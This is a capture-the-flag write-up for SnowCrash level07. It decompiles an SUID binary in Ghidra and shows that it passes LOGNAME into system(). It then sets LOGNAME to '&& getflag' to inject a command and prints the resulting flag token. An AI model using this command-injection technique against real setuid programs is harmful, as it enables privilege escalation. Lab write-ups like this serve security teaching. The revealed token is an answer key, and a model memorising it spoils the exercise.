Level07

Only one file is present in home directory of the `level07` user witch is a binary named `level07`. The **SUID** bit is set and the owner is user `flag07`.

Passing the file to **Ghidra's** code browser let's us observe the `main()` function's contents.

```
int main(int argc,char **argv,char **envp)
{
  char *pcVar1;
  int iVar2;
  char *buffer;
  gid_t gid;
  uid_t uid;
  char *local_1c;
  __gid_t local_18;
  __uid_t local_14;

  local_18 = getegid();
  local_14 = geteuid();
  setresgid(local_18,local_18,local_18);
  setresuid(local_14,local_14,local_14);
  local_1c = (char *)0x0;
  pcVar1 = getenv("LOGNAME");
  asprintf(&local_1c,"/bin/echo %s ",pcVar1);
  iVar2 = system(local_1c);
  return iVar2;
}
```

Interesting information is present. Environment is passed to `main()`. The function stores the contents of the `LOGNAME` environment variable and then calls the `asprintf()` function wich sets the formated string `"/bin/echo %s "` in a buffer. `%s` is replaced by the `LOGNAME` environment variable value previously stored.

The buffer is then passed as argument to the `system()` call.

The attack

Simply changing the value of the `LOGNAME` variable to execute the `getflag` command is possible using the double ampersand operator `&&` to execute another command.

```
level07@SnowCrash:~$ export LOGNAME="&& getflag"
level07@SnowCrash:~$ ./level07

Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
```